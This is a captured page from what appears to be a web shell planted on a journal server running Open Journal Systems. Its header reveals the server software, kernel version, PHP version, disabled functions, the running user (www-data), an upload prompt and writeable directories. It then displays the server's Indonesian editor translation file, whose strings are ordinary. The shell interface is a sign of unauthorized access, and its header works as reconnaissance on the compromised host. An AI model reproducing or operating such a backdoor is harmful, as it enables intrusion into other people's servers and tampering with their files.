KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/id_ID/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/locale/id_ID/editor.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-11-19T10:49:25+00:00\n"
"PO-Revision-Date: 2020-03-06 07:53+0000\n"
"Last-Translator: Fransisca H <[email protected]>\n"
"Language-Team: Indonesian <http://translate.pkp.sfu.ca/projects/ojs/editor/"
"id/>\n"
"Language: id_ID\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "editor.home"
msgstr "Beranda Editor"

msgid "editor.reassign"
msgstr "Tugaskan ulang"

msgid "editor.submissionsAndPublishing"
msgstr "Penyerahan Naskah dan Penerbitan"

msgid "editor.submissionQueue"
msgstr "Antrian Naskah"

msgid "editor.submissionArchive"
msgstr "Arsip Naskah"

msgid "editor.publishing"
msgstr "Penerbitan"

msgid "editor.publishedIssues"
msgstr "Terbitan Terdahulu"

msgid "editor.allSections"
msgstr "Semua Bagian"

msgid "editor.allEditors"
msgstr "Semua Editor"

msgid "editor.me"
msgstr "Saya"

msgid "editor.publicIdentificationExists"
msgstr "Identifier publik '{$publicIdentifier}' sudah digunakan objek lain (terbitan, artikel, galley atau file). Silakan pilih identifier unik di jurnal Anda."

msgid "editor.submissionArchive.noSubmissions"
msgstr "Tidak ada naskah dalam arsip."

msgid "editor.submissionArchive.saveChanges"
msgstr ""
"Simpan perubahan pada arsip penyerahan naskah? Naskah yang mau dihapus akan "
"terhapus dari sistem secara permanen."

msgid "editor.submissionArchive.confirmDelete"
msgstr "Anda yakin ingin menghapus naskah ini secara permanen?"

msgid "editor.submissionReview.confirmDecision"
msgstr "Apakah Anda ingin merekam keputusan ini?"

msgid "editor.submissionReview.emailWillArchive"
msgstr "Penyerahan naskah ini akan diarsipkan setelah email Beritahu Penulis telah dikirimkan atau tombol Lewati Email ditekan."

msgid "editor.submissionReview.cannotSendToCopyediting"
msgstr "Sebelum mengirimkan naskah ke Copyediting, gunakan tautan Beritahu Penulis untuk memberitahukan keputusan kepada penulis dan pilih versi yang akan dikirim."

msgid "editor.notifyUsers.allReaders"
msgstr "Semua Pembaca ({$count} pembaca)"

msgid "editor.notifyUsers.allAuthors"
msgstr "Semua penulis yang telah terbit naskahnya ({$count} penulis)"

msgid "editor.notifyUsers.allIndividualSubscribers"
msgstr "Semua pelanggan individu ({$count} pelanggan)"

msgid "editor.notifyUsers.allInstitutionalSubscribers"
msgstr "Semua pelanggan institusi ({$count} institusi)"

msgid "editor.notifyUsers.inProgress"
msgstr "Memberitahu para pengguna..."

msgid "editor.usersNotified"
msgstr "Para Pengguna telah Diberitahu"

msgid "editor.notifyUsers.allUsers"
msgstr "Kirimkan pesan ini ke seluruh pengguna yang terkait dengan jurnal ini ({$count} pengguna)"

msgid "editor.notifyUsers.interestedUsers"
msgstr "Kirimkan pesan ini ke seluruh pengguna yang terkait dengan jurnal ini yang telah meminta dikirimi berita terbaru ({$count} pengguna)"

msgid "editor.notifyUsers.includeToc"
msgstr "Sertakan daftar isi dari terbitan ini:"

msgid "editor.editorAdministration"
msgstr "Administrasi Editor"

msgid "editor.issues.createIssue"
msgstr "Buat Terbitan"

msgid "editor.issues.editIssue"
msgstr "Pengelolaan Terbitan: {$issueIdentification}"

msgid "editor.issues.currentIssue"
msgstr "Terbitan Terkini"

msgid "editor.issues.numArticles"
msgstr "Butir"

msgid "editor.issues.noArticles"
msgstr "Saat ini tidak ada yang dijadwalkan untuk terbitan ini."

msgid "editor.issues.confirmDelete"
msgstr "Apakah Anda yakin ingin menghapus terbitan ini secara permanen?"

msgid "editor.issues.published"
msgstr "Terpublikasi"

msgid "editor.issues.unpublished"
msgstr "Sudah Ditarik"

msgid "editor.issues.datePublished"
msgstr "Tanggal Terbit"

msgid "editor.issues.volumeRequired"
msgstr "Masukkan angka numerik positif untuk Volume."

msgid "editor.issues.numberRequired"
msgstr "Masukkan angka numerik positif untuk Nomor."

msgid "editor.issues.yearRequired"
msgstr "Masukkan angka numerik positif untuk Tahun."

msgid "editor.issues.titleRequired"
msgstr "Masukkan Judul untuk terbitan ini."

msgid "editor.issues.issueIdentificationRequired"
msgstr ""
"Dibutuhkan identifikasi terbitan. Silakan pilih setidaknya satu dari opsi "
"identifikasi terbitan."

msgid "editor.issues.issueIdentification"
msgstr "Identifikasi Terbitan"

msgid "editor.issues.publicIssueIdentifier"
msgstr "Pengidentifikasi terbitan umum"

msgid "editor.issues.description"
msgstr "Deskripsi"

msgid "editor.issues.accessStatus"
msgstr "Status Akses"

msgid "editor.issues.accessDate"
msgstr "Tanggal akses terbuka"

msgid "editor.issues.enableOpenAccessDate"
msgstr "Mengaktifkan penundaan akses terbuka"

msgid "editor.issues.coverPage"
msgstr "Gambar Sampul"

msgid "editor.issues.coverPageInstructions"
msgstr "(format yang diterima: .gif, .jpg, atau .png)"

msgid "editor.issues.uploaded"
msgstr "Sudah diunggah"

msgid "editor.issues.remove"
msgstr "Hapus"

msgid "editor.issues.proofed"
msgstr "Sudah Diperiksa"

msgid "editor.issues.removeCoverPage"
msgstr "Hapus gambar sampul?"

msgid "editor.issues.removeCoverImageFileNameMismatch"
msgstr "Gambar sampul yang hendak Anda hapus tidak sesuai dengan gambar sampul untuk terbitan ini. Mohon muat ulang halaman ini dan coba lagi."

msgid "editor.issues.removeCoverImageFileNotFound"
msgstr "Gambar sampul yang hendak Anda hapus tidak ditemukan. File tersebut mungkin telah dihapus. Coba muat ulang halaman."

msgid "editor.issues.invalidCoverPageFormat"
msgstr "Format gambar sampul invalid. Format yang diterima adalah .gif, .jpg, atau .png."

msgid "editor.issues.styleFile"
msgstr "Lembargaya"

msgid "editor.issues.invalidStyleFormat"
msgstr ""
"Format lembargaya tidak berlaku. Pastikan file yang diserahkan adalah CSS. ("
"Komentar dalam lembargaya akan diabaikan.)"

msgid "editor.issues.removeStyleFile"
msgstr "Hapus lembargaya?"

msgid "editor.issues.coverPageCaption"
msgstr "Judul gambar sampul"

msgid "editor.issues.showCoverPage"
msgstr "Buat sampul untuk terbitan ini dengan elemen-elemen berikut."

msgid "editor.issues.coverPageDisplay"
msgstr "Tampilkan"

msgid "editor.issues.openAccess"
msgstr "Akses terbuka"

msgid "editor.issues.subscription"
msgstr "Langganan"

msgid "editor.issues.identification"
msgstr "Identifikasi"

msgid "editor.issues.access"
msgstr "Akses"

msgid "editor.issues.cover"
msgstr "Sampul"

msgid "editor.issues.confirmIssueDelete"
msgstr "Semua artikel akan kembali pada antrian pengeditan dan file-file yang terkait akan dihapus secara permanen. Apakah Anda yakin ingin menghapus terbitan ini?"

msgid "editor.issues.resetIssueOrder"
msgstr ""
"Jurnal ini menggunakan pengaturan terbitan kustom. <a href=\"{$url}\" class="
"\"action\">Kembali ke default</a>"

msgid "editor.issues.resetSectionOrder"
msgstr "Jurnal ini menggunakan pengaturan bagian custom. <a href=\"{$url}\" class=\"action\">Kembali ke default</a>"

msgid "editor.issues.issueData"
msgstr "Data Terbitan"

msgid "editor.issues.saveChanges"
msgstr "Simpan perubahan daftar isi?"

msgid "editor.issues.default"
msgstr "Default"

msgid "editor.issues.order"
msgstr "Urutan"

msgid "editor.issues.publicId"
msgstr "ID Publik"

msgid "editor.issues.publishIssue"
msgstr "Terbitkan"

msgid "editor.issues.unpublishIssue"
msgstr "Tarik terbitan"

msgid "editor.issues.previewIssue"
msgstr "Pratinjau Terbitan"

msgid "editor.issues.preview"
msgstr "Pratinjau"

msgid "editor.issues.confirmPublish"
msgstr "Apakah Anda yakin ingin menerbitkan terbitan baru?"

msgid "editor.issues.confirmUnpublish"
msgstr "Apakah Anda yakin ingin menarik terbitan yang telah terbit ini?"

msgid "editor.issues.publicArticleIdExists"
msgstr "Tidak bisa menyimpan ID publik untuk artikel:"

msgid "editor.issues.noLiveIssues"
msgstr "Tidak Ada Terbitan Terbaru"

msgid "editor.issues.open"
msgstr "Buka"

msgid "editor.issues.pages"
msgstr "Halaman"

msgid "editor.issues.galleys"
msgstr "Galai Terbitan"

msgid "editor.issues.galley"
msgstr "Galai Terbitan"

msgid "editor.issues.viewingGalley"
msgstr "Melihat Galai Terbitan"

msgid "editor.issues.issueGalleysDescription"
msgstr "Terbitkan galai dengan seluruh isi terbitan utuh."

msgid "editor.issues.noneIssueGalleys"
msgstr "Tidak ada galai yang diterbitkan."

msgid "editor.issues.galleyLabelRequired"
msgstr "Label galai terbitan harus ada."

msgid "editor.issues.galleyLocaleRequired"
msgstr "Bahasa galai terbitan harus ada."

msgid "editor.issues.galleyPublicIdentificationExists"
msgstr "Identifikasi galai terbitan publik sudah ada."

msgid "editor.issues.backToIssueGalleys"
msgstr "Kembali ke galai terbitan"

msgid "editor.issues.confirmDeleteGalley"
msgstr "Anda yakin hendak menghapus galai terbitan ini?"

msgid "editor.issues.identifiers"
msgstr "Pengidentifikasi"

msgid "editor.navigation.futureIssues"
msgstr "Terbitan Akan Datang"

msgid "grid.action.addGalley"
msgstr "Tambah galai"

msgid "grid.action.publish"
msgstr "Terbitkan"

msgid "grid.action.addIssue"
msgstr "Buat Terbitan"

msgid "grid.action.viewIssue"
msgstr "Lihat"

msgid "grid.action.previewIssue"
msgstr "Pratinjau"

msgid "grid.action.addIssueGalley"
msgstr "Buat Galai Terbitan"

msgid "editor.navigation.issueArchive"
msgstr "Terbitan Terdahulu"

msgid "editor.article.designateReviewVersion"
msgstr "Jadikan file asli sebagai file Versi Review"

msgid "editor.article.decision"
msgstr "Keputusan"

msgid "editor.submissions.showBy"
msgstr "Tampilkan berdasarkan"

msgid "editor.submissions.submitMMDD"
msgstr "Serahkan MM-DD"

msgid "editor.submissions.activeAssignments"
msgstr "Tugas Aktif"

msgid "editor.submissions.invite"
msgstr "Undang"

msgid "editor.submissions.accept"
msgstr "Terima"

msgid "editor.submissions.noSubmissions"
msgstr "Tidak Ada Penyerahan"

msgid "editor.submissions.lastAssigned"
msgstr "Terbaru"

msgid "editor.submissions.averageTime"
msgstr "Minggu"

msgid "editor.submissions.lastCompleted"
msgstr "Terakhir Lengkap"

msgid "editor.submissions.assignedTo"
msgstr "Ditugaskan ke"

msgid "editor.submissions.inSection"
msgstr "Di Bagian"

msgid "editor.article.scheduleForPublication"
msgstr "Jadwalkan untuk publikasi di"

msgid "editor.article.scheduleForPublication.toBeAssigned"
msgstr "Untuk Ditugaskan"

msgid "editor.article.payment.publicationFeeNotPaid"
msgstr "Biaya publikasi tidak dibayar. Untuk menjadwalkan item untuk dipublikasi beritahu penulis untuk membayar biaya atau mengajukan dispensasi."

msgid "editor.article.removeCoverImageFileNotFound"
msgstr "Gambar sampul yang hendak Anda hapus tidak ditemukan. File tersebut mungkin telah dihapus. Coba muat ulang halaman."

msgid "grid.action.removeArticle"
msgstr "Hapus Naskah dari Terbitan"

msgid "editor.article.remove"
msgstr "Hapus"

msgid "editor.article.remove.confirm"
msgstr ""
"Anda yakin hendak menghapus naskah ini dari terbitan? Naskah tersebut dapat "
"dijadwalkan pada terbitan lain."

msgid "editor.issues.invalidAccessDate"
msgstr "Tanggal akses tidak valid."

msgid "editor.issues.editIssueGalley"
msgstr "Edit Galai Terbitan"

msgid "editor.submission.production.productionReadyFilesDescription"
msgstr ""
"Editor tata letak mempersiapkan file untuk setiap galai dan mengunggah <span "
"class=\"pkp_help_title\">proof</span> untuk proofreading."

msgid "editor.submission.selectGalleyFiles"
msgstr "Pilih File Galai"

msgid "editor.submission.editorial.finalDraftDescription"
msgstr ""
"File draf final di daftar ini telah diubah oleh Copyeditor menjadi versi "
"pasca-copyedit, diunggah di bawah ini <span class=\"pkp_help_title\""
">Copyediting</span>."

msgid "editor.submission.proof.manageProofFilesDescription"
msgstr ""
"Semua file yang telah diunggah di tiap tahap penyerahan dapat ditambahkan ke "
"daftar Proofreading dengan menandai kotak centang Sertaan di bawah ini dan "
"klik Cari: semua file yang ada akan ditampilkan dan dapat dipilih untuk "
"diikutsertakan."

msgid "editor.article.coverImage"
msgstr "Gambar sampul"

msgid "editor.publicIdentificationExistsForTheSameType"
msgstr ""
"Pengidentifikasi publik '{$publicIdentifier}' sudah ada untuk objek lain "
"dengan tipe yang sama. Silakan pilih pengidentifikasi unik untuk objek "
"dengan tipe yang sama dalam jurnal Anda."

msgid "editor.article.editMetadata"
msgstr "Edit Versi Metadata"

msgid "editor.article.viewMetadata"
msgstr "Lihat Versi Metadata"

msgid "editor.article.publishVersion"
msgstr "Terbitkan Versi"

msgid "editor.article.showPublicationVersion"
msgstr "Tampilkan Terbitan Terjadwal"

msgid "grid.action.setCurrentIssue"
msgstr "Tetapkan Nomor Terbitan Terkini"

msgid "editor.issues.confirmSetCurrentIssue"
msgstr "Anda yakin ingin mengatur nomor ini sebagai terbitan terkini?"

msgid "editor.issues.invalidCoverImageFormat"
msgstr ""
"Format halaman depan tidak valid. Format yang diterima adalah .gif, .jpg, "
"atau .png."

msgid "editor.notifyUsers"
msgstr "Beritahu Pengguna"

KUNTUL | JINGKONTOT |